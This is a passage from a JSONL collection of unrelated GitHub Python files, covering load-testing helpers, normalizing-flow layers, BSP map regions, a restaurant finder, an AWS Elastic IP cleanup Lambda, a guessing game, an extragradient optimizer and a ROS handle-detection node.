0, out\n total_elapsed_seconds = sum([thread.stats['elapsed_seconds'] for thread in threads.values()])\n total_get_requests = sum([thread.stats['num_get_requests'] for thread in threads.values()])\n total_cached_get_requests = sum([thread.stats['num_cached_get_requests'] for thread in threads.values()])\n total_del_requests = sum([thread.stats['num_del_requests'] for thread in threads.values()])\n total_put_requests = sum([thread.stats['num_put_requests'] for thread in threads.values()])\n total_head_requests = sum([thread.stats['num_head_requests'] for thread in threads.values()])\n total_get_errors = sum([thread.stats['num_get_errors'] for thread in threads.values()])\n total_cached_get_errors = sum([thread.stats['num_cached_get_errors'] for thread in threads.values()])\n total_del_errors = sum([thread.stats['num_del_errors'] for thread in threads.values()])\n total_put_errors = sum([thread.stats['num_put_errors'] for thread in threads.values()])\n total_head_errors = sum([thread.stats['num_head_errors'] for thread in threads.values()])\n total_object_iterations = sum([thread.stats['num_object_iterations'] for thread in threads.values()])\n print(\"total_elapsed_seconds={}\".format(total_elapsed_seconds))\n print(\"total_get_requests={}\".format(total_get_requests))\n print(\"total_cached_get_requests={}\".format(total_cached_get_requests))\n print(\"total_del_requests={}\".format(total_del_requests))\n print(\"total_put_requests={}\".format(total_put_requests))\n print(\"total_head_requests={}\".format(total_head_requests))\n print(\"total_get_errors={}\".format(total_get_errors))\n print(\"total_cached_get_errors={}\".format(total_cached_get_errors))\n print(\"total_del_errors={}\".format(total_del_errors))\n print(\"total_put_errors={}\".format(total_put_errors))\n print(\"total_head_errors={}\".format(total_head_errors))\n print(\"total_object_iterations={}\".format(total_object_iterations))\n elapsed_seconds = (datetime.datetime.now() - start_time).total_seconds()\n out = \"Completed in {} seconds\".format(elapsed_seconds)\n return out, bucket_name\n\n\ndef run_multi(method, num_test_instances, test_instances_zones, test_instances_roles, objects, duration_seconds, concurrency,\n obj_size_kb, benchdatafilename, make_put_or_del_every_iterations=100,\n benchdata_format=None, do_cached_get=False, test_instances_random=False,\n test_instances_worker_ids=None):\n test_instances = []\n for test_instance in test_instance_api.iterate_all():\n if test_instances_zones and test_instance['zone'] not in test_instances_zones:\n continue\n if test_instances_roles and test_instance['role'] not in test_instances_roles:\n continue\n if test_instances_worker_ids and test_instance['worker_id'] not in test_instances_worker_ids:\n continue\n test_instances.append(test_instance)\n if test_instances_random:\n random.shuffle(test_instances)\n test_instances = test_instances[:num_test_instances]\n print('selected test instances:')\n for t in test_instances:\n print('{} {:^15} {}'.format(t['worker_id'], t['zone'], t['role']))\n return run(\n method, None, None, objects, duration_seconds, concurrency, obj_size_kb, benchdatafilename,\n custom_load_options={\n 'random_domain_names': {test_instance['worker_id']: test_instance['hostname'] for test_instance in test_instances},\n 'use_default_bucket': True,\n 'make_put_or_del_every_iterations': make_put_or_del_every_iterations,\n 'do_cached_get': do_cached_get\n },\n benchdata_format=benchdata_format\n )\n\n\ndef prepare_default_bucket_multi(method, test_instances_zones, test_instances_roles, objects, duration_seconds, concurrency,\n obj_size_kb, upload_concurrency, test_instances_worker_ids):\n for test_instance in test_instance_api.iterate_all():\n if test_instances_zones and test_instance['zone'] not in test_instances_zones:\n continue\n if test_instances_roles and test_instance['role'] not in test_instances_roles:\n continue\n if test_instances_worker_ids and test_instance['worker_id'] not in test_instances_worker_ids:\n continue\n print(\"preparing default bucket for test instance {} ({} {})\".format(test_instance['worker_id'], test_instance['zone'], test_instance['role']))\n prepare_default_bucket(method, test_instance['worker_id'], test_instance['hostname'], objects, obj_size_kb, upload_concurrency=upload_concurrency)\n","repo_name":"CloudWebManage/cwm-worker-tests","sub_path":"cwm_worker_tests/load_generator_custom.py","file_name":"load_generator_custom.py","file_ext":"py","file_size_in_byte":26473,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"71338715413","text":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\nimport numpy as np\nfrom scipy import linalg as la\nlogabs = lambda x: torch.log(torch.abs(x))\n\n\ndef conv_mask():\n pass\n\n\n# Basic invertible layers\nclass ActNorm(nn.Module):\n def __init__(self, in_channel, logdet=True):\n super().__init__()\n\n self.loc = nn.Parameter(torch.zeros(1, in_channel, 1, 1))\n self.scale = nn.Parameter(torch.ones(1, in_channel, 1, 1))\n\n self.register_buffer('initialized', torch.tensor(0, dtype=torch.uint8))\n self.logdet = logdet\n\n def initialize(self, input):\n with torch.no_grad():\n flatten = input.permute(1, 0, 2, 3).contiguous().view(input.shape[1], -1)\n mean = (\n flatten.mean(1)\n .unsqueeze(1)\n .unsqueeze(2)\n .unsqueeze(3)\n .permute(1, 0, 2, 3)\n )\n std = (\n flatten.std(1)\n .unsqueeze(1)\n .unsqueeze(2)\n .unsqueeze(3)\n .permute(1, 0, 2, 3)\n )\n\n self.loc.data.copy_(-mean)\n self.scale.data.copy_(1 / (std + 1e-6))\n\n def forward(self, input):\n _, _, height, width = input.shape\n\n if self.initialized.item() == 0:\n self.initialize(input)\n self.initialized.fill_(1)\n\n log_abs = logabs(self.scale)\n\n logdet = height * width * torch.sum(log_abs)\n\n if self.logdet:\n return self.scale * (input + self.loc), logdet\n\n else:\n return self.scale * (input + self.loc)\n\n def reverse(self, output):\n return output / self.scale - self.loc\n\n\nclass ActNorm2D(nn.Module):\n def __init__(self, in_dim, logdet=True):\n super().__init__()\n\n self.loc = nn.Parameter(torch.zeros(1, in_dim, 1))\n self.scale = nn.Parameter(torch.ones(1, in_dim, 1))\n\n self.register_buffer('initialized', torch.tensor(0, dtype=torch.uint8))\n self.logdet = logdet\n\n def initialize(self, input):\n with torch.no_grad():\n flatten = input.permute(1, 0, 2).contiguous().view(input.shape[1], -1)\n mean = (\n flatten.mean(1)\n .unsqueeze(1)\n .unsqueeze(2)\n .permute(1, 0, 2)\n )\n std = (\n flatten.std(1)\n .unsqueeze(1)\n .unsqueeze(2)\n .permute(1, 0, 2)\n )\n\n self.loc.data.copy_(-mean)\n self.scale.data.copy_(1 / (std + 1e-6))\n\n def forward(self, input):\n _, _, height = input.shape\n\n if self.initialized.item() == 0:\n self.initialize(input)\n self.initialized.fill_(1)\n\n log_abs = logabs(self.scale)\n\n logdet = height * torch.sum(log_abs)\n\n if self.logdet:\n return self.scale * (input + self.loc), logdet\n\n else:\n return self.scale * (input + self.loc)\n\n def reverse(self, output):\n return output / self.scale - self.loc\n\n\nclass InvConv2d(nn.Module):\n def __init__(self, in_channel):\n super().__init__()\n\n weight = torch.randn(in_channel, in_channel)\n q, _ = torch.qr(weight)\n weight = q.unsqueeze(2).unsqueeze(3)\n self.weight = nn.Parameter(weight)\n\n def forward(self, input):\n _, _, height, width = input.shape\n\n out = F.conv2d(input, self.weight)\n logdet = (\n height * width * torch.slogdet(self.weight.squeeze().double())[1].float()\n )\n\n return out, logdet\n\n def reverse(self, output):\n return F.conv2d(\n output, self.weight.squeeze().inverse().unsqueeze(2).unsqueeze(3)\n )\n\n\nclass InvConv2dLU(nn.Module):\n def __init__(self, in_channel):\n super().__init__()\n\n weight = np.random.randn(in_channel, in_channel)\n q, _ = la.qr(weight)\n w_p, w_l, w_u = la.lu(q.astype(np.float32))\n w_s = np.diag(w_u)\n w_u = np.triu(w_u, 1)\n u_mask = np.triu(np.ones_like(w_u), 1)\n l_mask = u_mask.T\n\n w_p = torch.from_numpy(w_p)\n w_l = torch.from_numpy(w_l)\n w_s = torch.from_numpy(w_s)\n w_u = torch.from_numpy(w_u)\n\n self.register_buffer('w_p', w_p)\n self.register_buffer('u_mask', torch.from_numpy(u_mask))\n self.register_buffer('l_mask', torch.from_numpy(l_mask))\n self.register_buffer('s_sign', torch.sign(w_s))\n self.register_buffer('l_eye', torch.eye(l_mask.shape[0]))\n self.w_l = nn.Parameter(w_l)\n self.w_s = nn.Parameter(logabs(w_s))\n self.w_u = nn.Parameter(w_u)\n\n def forward(self, input):\n _, _, height, width = input.shape\n\n weight = self.calc_weight()\n\n out = F.conv2d(input, weight)\n logdet = height * width * torch.sum(self.w_s)\n\n return out, logdet\n\n def calc_weight(self):\n weight = (\n self.w_p\n @ (self.w_l * self.l_mask + self.l_eye)\n @ ((self.w_u * self.u_mask) + torch.diag(self.s_sign * torch.exp(self.w_s)))\n )\n\n return weight.unsqueeze(2).unsqueeze(3)\n\n def reverse(self, output):\n weight = self.calc_weight()\n\n return F.conv2d(output, weight.squeeze().inverse().unsqueeze(2).unsqueeze(3))\n\n\nclass InvRotationLU(nn.Module):\n def __init__(self, dim):\n super(InvRotationLU, self).__init__()\n # (9*9) * (bs*9*5)\n weight = np.random.randn(dim, dim) # (9,9)\n q, _ = la.qr(weight)\n w_p, w_l, w_u = la.lu(q.astype(np.float32))\n w_s = np.diag(w_u)\n w_u = np.triu(w_u, 1)\n u_mask = np.triu(np.ones_like(w_u), 1)\n l_mask = u_mask.T\n\n w_p = torch.from_numpy(w_p) # a Permutation matrix\n w_l = torch.from_numpy(w_l) # L matrix from PLU\n w_s = torch.from_numpy(w_s) # diagnal of the U matrix from PLU\n w_u = torch.from_numpy(w_u) # u - dianal of the U matrix from PLU\n\n self.register_buffer('w_p', w_p) # (12,12)\n self.register_buffer('u_mask', torch.from_numpy(u_mask)) # (12,12) upper 1 with 0 diagnal\n self.register_buffer('l_mask', torch.from_numpy(l_mask)) # (12,12) lower 1 with 0 diagnal\n self.register_buffer('s_sign', torch.sign(w_s)) # (12,) # sign of the diagnal of the U matrix from PLU\n self.register_buffer('l_eye', torch.eye(l_mask.shape[0])) # (12,12) 1 diagnal\n self.w_l = nn.Parameter(w_l) # (12,12)\n self.w_s = nn.Parameter(logabs(w_s)) # (12, )\n self.w_u = nn.Parameter(w_u) # (12,12)\n\n def forward(self, input):\n bs, height, width = input.shape # (bs, 9, 5)\n\n weight = self.calc_weight() # 9,9\n\n # out = F.conv2d(input, weight) # (2,12,32,32), (12,12,1,1) --> (2,12,32,32)\n # logdet = height * width * torch.sum(self.w_s)\n\n out = torch.matmul(weight, input) # (1, 9,9) * (bs, 9, 5) --> (bs, 9, 5)\n logdet = width * torch.sum(self.w_s)\n\n return out, logdet\n\n def calc_weight(self):\n weight = (\n self.w_p\n @ (self.w_l * self.l_mask + self.l_eye)\n @ ((self.w_u * self.u_mask) + torch.diag(self.s_sign * torch.exp(self.w_s)))\n )\n # weight = torch.matmul(torch.matmul(self.w_p, (self.w_l * self.l_mask + self.l_eye)),\n # ((self.w_u * self.u_mask) + torch.diag(self.s_sign * torch.exp(self.w_s))))\n # weight = self.w_p\n return weight.unsqueeze(0) # weight.unsqueeze(2).unsqueeze(3)\n\n def reverse(self, output):\n weight = self.calc_weight()\n # return weight.inverse() @ output\n return torch.matmul(weight.inverse(), output)\n # return F.conv2d(output, weight.squeeze().inverse().unsqueeze(2).unsqueeze(3)) #np.linalg.det(weight.data.numpy())\n\n\nclass InvRotation(nn.Module):\n def __init__(self, dim):\n super().__init__()\n\n weight = torch.randn(dim, dim)\n q, _ = torch.qr(weight)\n weight = q.unsqueeze(0)\n self.weight = nn.Parameter(weight)\n\n def forward(self, input):\n _, height, width = input.shape\n\n # out = F.conv2d(input, self.weight)\n out = self.weight @ input\n logdet = (\n width * torch.slogdet(self.weight.squeeze().double())[1].float()\n )\n\n return out, logdet\n\n def reverse(self, output):\n return self.weight.squeeze().inverse().unsqueeze(0) @ output\n\n\n# Basic non-invertible layers in coupling _s_t_function, or for transforming Gaussian distribution\nclass ZeroConv2d(nn.Module):\n def __init__(self, in_channel, out_channel, padding=1):\n super().__init__()\n\n self.conv = nn.Conv2d(in_channel, out_channel, 3, padding=0) # in:512, out:12\n self.conv.weight.data.zero_() # (12,512,3,3)\n self.conv.bias.data.zero_() # 12\n self.scale = nn.Parameter(torch.zeros(1, out_channel, 1, 1)) # (1,12,1,1)\n\n def forward(self, input):\n out = F.pad(input, [1, 1, 1, 1], value=1) # input: (2,512,32,32) --> (2,512,34,34)\n out = self.conv(out) # (2,12,32,32)\n out = out * torch.exp(self.scale * 3) # (2,12,32,32) * (1,12,1,1) = (2,12,32,32)\n\n return out\n\n\n# Basic non-invertible layers in coupling _s_t_function,\nclass GraphLinear(nn.Module):\n \"\"\"Graph Linear layer.\n This function assumes its input is 3-dimensional. Or 4-dim or whatever, only last dim are changed\n Differently from :class:`nn.Linear`, it applies an affine\n transformation to the third axis of input `x`.\n Warning: original Chainer.link.Link use i.i.d. Gaussian initialization as default,\n while default nn.Linear initialization using init.kaiming_uniform_\n\n .. seealso:: :class:`nn.Linear`\n \"\"\"\n def __init__(self, in_size, out_size, bias=True):\n super(GraphLinear, self).__init__()\n self.in_size = in_size\n self.out_size = out_size\n self.linear = nn.Linear(in_size, out_size, bias) # Warning: differential initialization from Chainer\n\n def forward(self, x):\n \"\"\"Forward propagation.\n Args:\n x (:class:`chainer.Variable`, or :class:`numpy.ndarray`\\\n or :class:`cupy.ndarray`):\n Input array that should be a float array whose ``ndim`` is 3.\n\n It represents a minibatch of atoms, each of which consists\n of a sequence of molecules. Each molecule is represented\n by integer IDs. The first axis is an index of atoms\n (i.e. minibatch dimension) and the second one an index\n of molecules.\n\n Returns:\n :class:`chainer.Variable`:\n A 3-dimeisional array.\n\n \"\"\"\n # h = x\n # s0, s1, s2 = h.shape\n # h = h.reshape(-1, s2) # shape: (s0*s1, s2)\n # h = self.linear(h)\n # h = h.reshape(s0, s1, self.out_size)\n h = x\n h = h.reshape(-1, x.shape[-1]) # shape: (s0*s1, s2)\n h = self.linear(h)\n h = h.reshape(tuple(x.shape[:-1] + (self.out_size,)))\n return h\n\n\nclass GraphConv(nn.Module):\n\n def __init__(self, in_channels, out_channels, num_edge_type=4):\n \"\"\"\n\n :param in_channels: e.g. 8\n :param out_channels: e.g. 64\n :param num_edge_type: e.g. 4 types of edges/bonds\n \"\"\"\n super(GraphConv, self).__init__()\n\n self.graph_linear_self = GraphLinear(in_channels, out_channels)\n self.graph_linear_edge = GraphLinear(in_channels, out_channels * num_edge_type)\n self.num_edge_type = num_edge_type\n self.in_ch = in_channels\n self.out_ch = out_channels\n\n def forward(self, adj, h):\n \"\"\"\n graph convolution over batch and multi-graphs\n :param h: shape: (256,9, 8)\n :param adj: shape: (256,4,9,9)\n :return:\n \"\"\"\n mb, node, ch = h.shape # 256, 9, 8\n # --- self connection, apply linear function ---\n hs = self.graph_linear_self(h) # (256,9, 8) --> (256,9, 64)\n # --- relational feature, from neighbor connection ---\n # Expected number of neighbors of a vertex\n # Since you have to divide by it, if its 0, you need to arbitrarily set it to 1\n m = self.graph_linear_edge(h) # (256,9, 8) --> (256,9, 64*4), namely (256,9, 256)\n m = m.reshape(mb, node, self.out_ch, self.num_edge_type) # (256,9, 256) --> (256,9, 64, 4)\n m = m.permute(0, 3, 1, 2) # (256,9, 64, 4) --> (256, 4, 9, 64)\n # m: (batchsize, edge_type, node, ch)\n # hr: (batchsize, edge_type, node, ch)\n hr = torch.matmul(adj, m) # (256,4,9,9) * (256, 4, 9, 64) = (256, 4, 9, 64)\n # hr: (batchsize, node, ch)\n hr = hr.sum(dim=1) # (256, 4, 9, 64) --> (256, 9, 64)\n return hs + hr #\n\n\ndef test_ZeroConv2d():\n in_channel = 1\n out_channel = 2\n\n x = torch.ones(2, 1, 5, 5)\n net = ZeroConv2d(in_channel, out_channel)\n y = net(x)\n print('x.shape:', x.shape)\n print(x)\n print('y.shape', y.shape)\n print(y)\n\n\ndef test_actnorm():\n in_channel = 1\n out_channel = 2\n\n x = torch.ones(2, 1, 3, 3)\n net = ActNorm(in_channel)\n y = net(x)\n print('x.shape:', x.shape)\n print(x)\n print('y.shape', y[0].shape)\n print(y[0])\n\n\nif __name__ == '__main__':\n torch.manual_seed(0)\n test_actnorm()\n # test_ZeroConv2d()\n #\n # nodes = 4\n # ch = 5\n #\n # x = torch.ones((nodes, ch), dtype=torch.float32)\n #\n # units = [64, 128]\n #\n # mlp = MLP(units=units, in_size=ch)\n # print('in', x.shape)\n # out = mlp(x)\n # print('out', out.shape) # (bs, out_ch)\n # print(out)","repo_name":"calvin-zcx/moflow","sub_path":"mflow/models/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":13710,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"67"} +{"seq_id":"2881736820","text":"import random\n\nfrom pglib.region import Region\nfrom .regionbase import RegionBase\n\n\nclass BspRegions(RegionBase):\n\n \"\"\"\n Taken from: https://arcade.academy/examples/procedural_caves_bsp.html\n \"\"\"\n\n def __init__(self, max_, **kwargs):\n super(BspRegions, self).__init__(**kwargs)\n\n self.max = max_\n #self.max_size = max_size\n\n def random_split(self, min_row, min_col, max_row, max_col):\n\n # We want to keep splitting until the sections get down to the threshold\n seg_height = max_row - min_row\n seg_width = max_col - min_col\n\n max_ = self.max.run()\n\n if seg_height < max_ and seg_width < max_:\n self.leaves.append(Region(min_row, min_col, max_row, max_col))\n elif seg_height < max_ <= seg_width:\n self.split_on_vertical(min_row, min_col, max_row, max_col)\n elif seg_height >= max_ > seg_width:\n self.split_on_horizontal(min_row, min_col, max_row, max_col)\n else:\n if random.random() < 0.5:\n self.split_on_horizontal(min_row, min_col, max_row, max_col)\n else:\n self.split_on_vertical(min_row, min_col, max_row, max_col)\n\n def split_on_horizontal(self, min_row, min_col, max_row, max_col):\n split = (min_row + max_row) // 2 + random.choice((-2, -1, 0, 1, 2))\n self.random_split(min_row, min_col, split, max_col)\n self.random_split(split, min_col, max_row, max_col)\n\n def split_on_vertical(self, min_row, min_col, max_row, max_col):\n split = (min_col + max_col) // 2 + random.choice((-2, -1, 0, 1, 2))\n self.random_split(min_row, min_col, max_row, split)\n self.random_split(min_row, split, max_row, max_col)\n\n def _run(self, region):\n self.leaves = []\n #self.max = 10\n #region = self.get_padding_region(region)\n self.random_split(region.x1, region.y1, region.x2, region.y2)\n return self.leaves","repo_name":"Derfies/pglib","sub_path":"pglib/generators/bspregions.py","file_name":"bspregions.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"37287896608","text":"from dataclasses import dataclass\nfrom typing import Optional, TextIO, List, Tuple, TypeAlias\nfrom fuzzysearch import find_near_matches\nimport pandas as pd # type: ignore\nimport requests\nimport io\nimport os\nimport pickle\n\nCoord: TypeAlias = Tuple[float, float]\n\n@dataclass\nclass Restaurant:\n name: str\n street: str\n secondary_filters: str\n position: Coord\n\nRestaurants: TypeAlias = List[Restaurant]\n\ndef read() -> Restaurants:\n \"\"\"Returns a list of all restaurants\"\"\"\n url = 'restaurants.csv'\n # Read the csv file and keep only few columns\n df = pd.read_csv(url, usecols=['name', 'addresses_road_name', 'secondary_filters_name', 'geo_epgs_4326_x', 'geo_epgs_4326_y'])\n restaurants_list: Restaurants = []\n for row in df.itertuples():\n r = Restaurant(row.name, row.addresses_road_name, row.secondary_filters_name, (row.geo_epgs_4326_y, row.geo_epgs_4326_x))\n restaurants_list.append(r)\n return restaurants_list\n\ndef find(query: str, restaurants: Restaurants) -> Restaurants:\n \"\"\"Returns a list of all restaurants that contain the query in their description\"\"\"\n restaurants_list: Restaurants = []\n for restaurant in restaurants:\n elements: List[str] = [restaurant.name, restaurant.street, restaurant.secondary_filters]\n for attribute in elements:\n if type(attribute) == str:\n if query.lower() in attribute.lower():\n restaurants_list.append(restaurant)\n return restaurants_list\n\ndef def_find(query: str, restaurants: Restaurants) -> Restaurants:\n \"\"\"Returns a list of all restaurants that contain the query in their description\"\"\"\n restaurants_list: Restaurants = []\n for restaurant in restaurants:\n elements: List[str] = [restaurant.name, restaurant.street, restaurant.secondary_filters]\n for attribute in elements:\n if type(attribute) == str:\n if len(find_near_matches(query, attribute, max_l_dist=1)) != 0:\n find: str = find_near_matches(query, attribute, max_l_dist=1)[0].matched\n restaurants_list.append(restaurant)\n return restaurants_list\n\ndef save_restaurants_list(restaurants_list: Restaurants, filename: str) -> None:\n pickle_out = open(filename,\"wb\")\n pickle.dump(restaurants_list, pickle_out)\n pickle_out.close()\n\ndef load_restaurants(filename: str) -> Restaurants:\n if os.path.exists(filename):\n pickle_in = open(filename,\"rb\")\n restaurants_list: Restaurants = pickle.load(pickle_in)\n pickle_in.close()\n else:\n restaurants_list = read()\n save_restaurants_list(restaurants_list, filename)\n return restaurants_list\n","repo_name":"lucaspons9/TelegramRouteBot","sub_path":"codes/restaurants.py","file_name":"restaurants.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32478416016","text":"import boto3\nimport sys\nimport configargparse\nfrom datetime import datetime\nimport sys\nimport os\nimport time\n\ndef lambda_handler(event,context):\n p = configargparse.getArgumentParser()\n p.add_argument('--region', '-r', default=\"us-east-1\", help=\"AWS region containing snapshots\", nargs=\"+\",env_var=\"REGION\")\n p.add_argument('--delete','-del',help=\"To delete the resources found\",action='store_true',default=False,env_var=\"DELETE\")\n args = p.parse_args()\n\n for region in args.region:\n s3_client = boto3.client('s3')\n s3 = boto3.resource('s3')\n client = boto3.client('ec2', region_name=region)\n response = client.describe_addresses()\n eips = []\n for address in response['Addresses']:\n if 'NetworkInterfaceId' not in address:\n eips.append(address['PublicIp'])\n\n eip_file = open(\"/tmp/eip_file\",\"w+\")\n with eip_file as fh:\n for eip in eips:\n fh.write(\"Public Ip: \")\n fh.write(eip)\n fh.write(\"\\n\")\n\n with open(\"/tmp/eip_file\", \"rb\") as f:\n s3_client.upload_fileobj(f, \"cleanup-s3\", \"eip_file\")\n\n for ip in eips:\n if args.delete:\n try:\n ec2.release_address(PublicIp=ip)\n except ClientError as e:\n continue\n return\n","repo_name":"sujithasrajan/CLEANUP-AWS","sub_path":"elastic-ip.py","file_name":"elastic-ip.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7731392491","text":"import os\nimport argparse\nfrom datetime import datetime\nfrom pathlib import Path\nimport pprint\nfrom torch import optim\nimport platform\nimport torch.nn as nn\n\n\ndef __init__(self, **kwargs):\n 'Configuration Class: set kwargs as class attributes with setattr'\n if (kwargs is not None):\n for (key, value) in kwargs.items():\n if (key == 'optimizer'):\n value = optimizer_dict[value]\n if (key == 'rnn'):\n value = rnn_dict[value]\n setattr(self, key, value)\n data_dir = project_dir.joinpath('datasets')\n self.dataset_dir = data_dir.joinpath(self.data)\n self.data_dir = self.dataset_dir.joinpath(self.mode)\n self.word2id_path = self.dataset_dir.joinpath('word2id.pkl')\n self.id2word_path = self.dataset_dir.joinpath('id2word.pkl')\n self.utter_path = self.data_dir.joinpath('utters.pkl')\n self.utter_length_path = self.data_dir.joinpath('utters_length.pkl')\n self.utter_scores_path = self.data_dir.joinpath('utters_scores.pkl')\n if ((self.mode == 'train') and (self.checkpoint is None)):\n time_now = datetime.now().strftime('%Y%m%d_%H%M%S')\n self.save_path = save_dir.joinpath(self.data, self.model, time_now)\n self.logdir = str(self.save_path)\n os.makedirs(self.save_path, exist_ok=True)\n elif (self.checkpoint is not None):\n assert os.path.exists(self.checkpoint)\n self.save_path = os.path.dirname(self.checkpoint)\n self.logdir = str(self.save_path)\n self.pretrained_wv_path = None\n if ('bert' in self.data):\n self.embedding_size = 768\n if ('_25' in self.data):\n self.embedding_size = 25\n","repo_name":"menna161/API-Wizard","sub_path":"PyAroma/datasets/datetime/snippets/snippet918470.py","file_name":"snippet918470.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26123831849","text":"print('Hello! What is your name?')\nname=input()\na,b=1,20\nimport random\nnumber=random.randint(a,b)\nprint(f'Well, {name}, I am thinking of a number between {a} and {b}')\nprint('Take a guess.')\ndef guessing():\n g=1\n while True:\n guess=int(input())\n if guess==number:\n return g\n elif guessnumber:\n print(\"Your guess is too much.\")\n print(\"Take a guess.\")\n g+=1\ng=(guessing()) \nprint(f'Good job, {name}! You guessed my number in {g} guesses!')\n\n\n","repo_name":"Ruchanov/pp2","sub_path":"Lab3/functions1/13.py","file_name":"13.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28386326289","text":"from collections import defaultdict\n\nimport torch\nfrom torch.optim import Optimizer\n\n\nclass ExtraOptimizer:\n def __init__(self, optimizer: Optimizer, subsampling=1):\n self.optimizer = optimizer\n self.param_groups = optimizer.param_groups\n\n self.subsampling = subsampling\n\n self.extra_state = defaultdict(dict)\n for group in self.param_groups:\n for p in group['params']:\n self.extra_state['backup'][p] = p.data.clone()\n\n def share_memory(self):\n self.optimizer.share_memory()\n for group in self.param_groups:\n for p in group['params']:\n self.extra_state['backup'][p].share_memory_()\n\n def _save_backup(self):\n for group in self.param_groups:\n for p in group['params']:\n self.extra_state['backup'][p].copy_(p.data)\n\n def deextrapolate(self):\n for group in self.param_groups:\n for p in group['params']:\n p.data.copy_(self.extra_state['backup'][p])\n\n def state_dict(self):\n for group in self.param_groups:\n for p in group['params']:\n self.optimizer.state[p] = dict(**self.optimizer.state[p],\n **self.extra_state[p])\n state_dict = self.optimizer.state_dict()\n for group in self.param_groups:\n for p in group['params']:\n for key in self.extra_state[p]:\n self.optimizer.state[p].pop(key)\n return state_dict\n\n def load_state_dict(self, state_dict):\n self.optimizer.load_state_dict(state_dict)\n for group in self.param_groups:\n for p in group['params']:\n for key in self.extra_state[p]:\n self.extra_state[key][p] = self.optimizer.state[p].pop(key)\n\n def zero_grad(self):\n self.optimizer.zero_grad()\n\n def _transform_grad(self):\n for group in self.param_groups:\n for p in group['params']:\n if p.grad is not None:\n p.grad /= self.subsampling\n\n def step(self, closure=None, extrapolate=False):\n update = not extrapolate\n if update:\n self.deextrapolate()\n self._transform_grad()\n loss = self.optimizer.step(closure)\n if update:\n self._save_backup()\n return loss\n\n\nclass ExtraOptimizerVR(ExtraOptimizer):\n def __init__(self, optimizer: Optimizer, subsampling=1):\n super().__init__(optimizer, subsampling)\n for group in self.param_groups:\n for p in group['params']:\n self.extra_state['grad_table'][p] = None\n\n def _transform_grad(self):\n super()._transform_grad()\n for group in self.param_groups:\n for p in group['params']:\n if p.grad is not None:\n grad = p.grad.clone()\n if self.extra_state['grad_table'][p] is None:\n self.extra_state['grad_table'][p] = grad\n else:\n p.grad -= (1 - self.subsampling) * self.extra_state['grad_table'][p]\n self.extra_state['grad_table'][p].copy_(grad)\n else:\n # Use the grad stat\n if self.extra_state['grad_table'][p] is not None:\n p.grad = self.extra_state['grad_table'][p]","repo_name":"arthurmensch/dseg","sub_path":"gamesrl/optimizers.py","file_name":"optimizers.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"73428518933","text":"import rospy\nimport cv2\nimport struct\nimport json\nimport numpy as np\nfrom math import *\nfrom std_msgs.msg import Header\nfrom pathlib import Path\nfrom sensor_msgs import point_cloud2\nfrom sensor_msgs.msg import Image\nfrom sensor_msgs.msg import PointCloud2, PointField\nfrom cv_bridge import CvBridge\nfrom std_msgs.msg import Float32MultiArray, MultiArrayDimension, String\nfrom handle_detect.msg import CNN\n# from handle_detect.msg import Position\n\n\nfocal_len = 1.93 # 0.00193 # 1.93 mm\nzoom = 0.1 # From Meters to milimeters\n# depth = np.empty(shape=(2, 5), dtype='object')\nbridge = CvBridge()\ndepth_image = []\nrgb_image = []\nclass_cabinet = 0.0\nclass_knob = 1.0\nmin_confidence = 0.6\n\nclass_id_list = []\nconfidence_list = []\n\n\ndef bb_callback(msg):\n # Convert Float32MultiArray data to NumPy array\n data = np.array(msg.data)\n\n # Reshape the array according to the layout information\n layout = msg.layout\n dimensions = [dim.size for dim in layout.dim]\n array_shape = tuple(dimensions)\n reshaped_data = np.reshape(data, array_shape)\n bounding_boxes = reshaped_data[..., 2:] # Extract bounding box coordinates\n class_ids = reshaped_data[..., 0] # Assuming class ID is in the first place\n confidence = reshaped_data[..., 1] # Assuming confidence is in the second place\n global class_id_list\n global confidence_list\n class_id_list = class_ids.tolist()\n confidence_list = confidence.tolist()\n\n # print(\"recieved bb with length\", len(confidence_list))\n\n # img = rgb_image\n # depth = depth_image\n\n # publishAsPC2([img, img], [depth, depth], [0.0, 0.0], [0.0, 500.0], [0.0, 0.0], [1.0, 1.0])\n # publishAsPC2([img], [depth], [0.0], [0.0], [0.0], [1.0])\n \n if len(rgb_image) > 0:\n cabinets_rgb, cabinets_depth, xo, yo, xm, ym = segmentation_yolov5(bounding_boxes)\n if len(cabinets_rgb) > 0: \n publishAsPC2(cabinets_rgb, cabinets_depth, yo, xo, ym, xm, class_id_list, confidence_list)\n\n # For bebug\n whole_pcd = rgbd_to_pc2(rgb_image[0], depth_image[0], rgb_image[0].shape, 0.0, 0.0)\n pcd_whole.publish(whole_pcd)\n print(\"sent whole pcd\")\n else:\n print(\"ERROR: recieved bounding-box, but not an image\")\n \n return\n\n\ndef segmentation_yolov5(bounding_boxes):\n rgb_list = []\n depth_list = []\n x_offset = []\n y_offset = []\n x_top = []\n y_top= []\n\n rgb_img_cv2 = rgb_image[0]\n depth_img_cv2 = depth_image[0]\n\n for id, bbox in enumerate(bounding_boxes):\n # Calculate bounding box coordinates\n x_min = int(bbox[0])\n y_min = int(bbox[1])\n x_max = int(bbox[2])\n y_max = int(bbox[3])\n\n if x_min < 0: x_min = 0\n if y_min < 0: y_min = 0\n if x_max > rgb_img_cv2.shape[1]: x_max = rgb_img_cv2.shape[1]\n if y_max > rgb_img_cv2.shape[0]: y_max = rgb_img_cv2.shape[0]\n # if class_id_list[id] == 0.0 and confidence_list[id] > 0.4:\n # print(x_min, y_min, x_max, y_max)\n\n x_offset.append(x_min)\n 